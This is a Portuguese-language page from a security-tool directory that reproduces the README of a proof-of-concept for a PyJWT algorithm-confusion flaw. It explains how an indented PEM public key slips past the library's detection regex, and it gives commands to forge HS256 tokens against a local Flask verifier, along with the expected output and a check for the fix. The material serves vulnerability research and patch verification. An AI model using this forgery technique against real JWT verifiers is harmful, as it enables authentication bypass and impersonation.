Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-102268-poc — PoC de explorabilidade para CVE-2026-102-268 (bypass de detecção Asymmetric-PEM do PyJWT). | Kitploit
Ferramentas/GitHubGitHub/covepseng/cve-2026-102268-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebCriptografiaAutenticaçãoAprendizado e Educação
GitHubcovepseng/cve-2026-102268-poc

cve-2026-102268-poc

PoC de explorabilidade para CVE-2026-102-268 (bypass de detecção Asymmetric-PEM do PyJWT).

Ver Repositório
há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-102268 — Bypass de Detecção de PEM Assimétrico no PyJWT

Resultado da análise de explorabilidade: a causa raiz está confirmada e a exploração ponta a ponta é reproduzível. Uma chave pública PEM com mutação de espaços em branco contorna a proteção is_pem_format() do PyJWT e é aceita como um segredo HMAC válido, permitindo a falsificação completa de tokens HS256 contra qualquer verificador que permita RS256 juntamente com HS256. Consulte Análise para mais detalhes.


Índice

  • Visão Geral
  • Versões Afetadas
  • Causa Raiz
  • Análise
  • Estrutura do Repositório
  • Requisitos
  • Uso
  • Saída Esperada
  • Referências
  • Aviso Legal

Visão Geral

CVE-2026-102268 é uma vulnerabilidade de confusão de algoritmos no PyJWT. Antes de usar qualquer chave como segredo HMAC, HMACAlgorithm.prepare_key() chama is_pem_format() para rejeitar chaves que se pareçam com uma chave assimétrica ou certificado codificado em PEM — a defesa padrão contra ataques de confusão RS256/HS256.

is_pem_format() é uma única regex que exige uma adjacência exata de \r?\n entre o corpo da chave e os marcadores BEGIN/END. O próprio carregador PEM da cryptography não tem tal exigência. Um arquivo PEM com espaços em branco adjacentes aos marcadores, terminadores de linha apenas CR, ou dobrado em uma única linha é analisado como uma chave perfeitamente válida por cryptography.load_pem_public_key(), enquanto is_pem_format() retorna False nos bytes idênticos.

A consequência: a proteção de chave assimétrica nunca é acionada, a chave pública é aceita como segredo HMAC, e qualquer pessoa que possua essa chave pública — que é pública por definição — pode cunhar um token HS256 válido para qualquer verificador que permita tanto RS256 quanto HS256.

Este repositório contém um verificador Flask mínimo e uma chave de reprodução para confirmar essa afirmação ponta a ponta.


Versões Afetadas

Intervalo afetadoCorrigido em
< 2.14.02.14.0

Causa Raiz

A verificação vulnerável em jwt/utils.py (todas as versões anteriores à 2.14.0):

# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
    b"----[- ]BEGIN ("
    + b"|".join(_PEMS)
    + b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)

def is_pem_format(key: bytes) -> bool:
    return bool(_PEM_RE.search(key))

Condicionando a ela, em jwt/algorithms.py:

# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

Os separadores [- ] da regex toleram apenas um único hífen ou espaço diretamente adjacente aos hífens do marcador. Qualquer outro espaço em branco situado entre a nova linha final do corpo da chave e o marcador END — uma indentação, um \r perdido, uma única linha re-encapsulada — faz a correspondência falhar, então is_pem_format() reporta False em um arquivo que a cryptography analisa sem reclamar.

A correção (commit 8b4e233, lançada na 2.14.0) substitui a regex por um scanner de passagem única sobre o conjunto de marcadores BEGIN/END suportados que não depende de adjacência exata de nova linha — fechando este bypass e, na mesma alteração, um ReDoS relacionado na mesma função (CVE-2026-102270).


Análise

public_key.pem neste repositório é uma chave pública RSA comum de 2048 bits com uma alteração: a linha -----END PUBLIC KEY----- está indentada por quatro espaços.

1wIDAQAB
    -----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout   # parses cleanly, no warning

Executar utils.py confirma o bypass diretamente contra a biblioteca, independentemente do aplicativo Flask:

$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}

jwt.encode(..., PUBLIC_KEY, algorithm="HS256") é bem-sucedido. Em um PyJWT corrigido (≥ 2.14.0), esta mesma chamada levanta InvalidKeyError — is_pem_format() sinaliza corretamente o arquivo como uma chave PEM independentemente da indentação, e o caminho HMAC o recusa. Aqui, não: a indentação de quatro espaços é suficiente para fazer a regex errar, e os bytes da chave pública são aceitos como um segredo HMAC comum.

app.py reproduz a pré-condição do mundo real — um verificador cuja lista de permissões de algorithms mistura o algoritmo assimétrico e o simétrico:

decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])

Um token forjado com a abordagem de utils.py, submetido a /verify, é aceito: /verify retorna 200 e as claims forjadas, para um token que ninguém que possua a chave privada jamais assinou.


Estrutura do Repositório

cve-2026-102268-poc/
├── Dockerfile              # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml     # Single-service compose for the verifier
├── requirements.txt        # Flask, Werkzeug, PyJWT==2.4.0
├── app.py                  # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py                # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem          # RSA public key, END marker indented by 4 spaces
└── README.md

Requisitos

FerramentaVersãoNotas
Podman≥ 4.0Docker também funciona
Python≥ 3.9Apenas para executar utils.py localmente
curlqualquerPara exercitar /verify diretamente

Uso

1. Construir e iniciar o contêiner

podman-compose up -d

Aguarde alguns segundos, depois confirme que o serviço está ativo:

curl -si http://localhost:8080/verify -X POST \
  -H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400   (missing token, but the service is reachable)

2. Forjar um token com a chave pública

python utils.py

Isso assina {"some": "payload"} com public_key.pem usando HS256 e imprime o JWT resultante — a primitiva de falsificação. Copie o token codificado.

3. Submeter o token forjado ao verificador

curl -s http://localhost:8080/verify \
  -H 'Content-Type: application/json' \
  -d '{"token": "<forged-jwt-here>"}'

4. Limpeza

podman-compose down

Confirmando a correção

Repita o passo 2 com PyJWT>=2.14.0 instalado no lugar do 2.4.0 fixado em requirements.txt. jwt.encode() levanta InvalidKeyError antes que um token seja sequer produzido.


Saída Esperada

============================================================
 CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
 Key      : public_key.pem (RSA public key, END marker indented)
 Target   : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...

[2] Submitting forged token to /verify (algorithms=["RS256","HS256"])...
------------------------------------------------------------
[✓] HTTP 200 — Access granted
    {"message": "Access granted", "payload": {"some": "payload"}}
Baixar ferramenta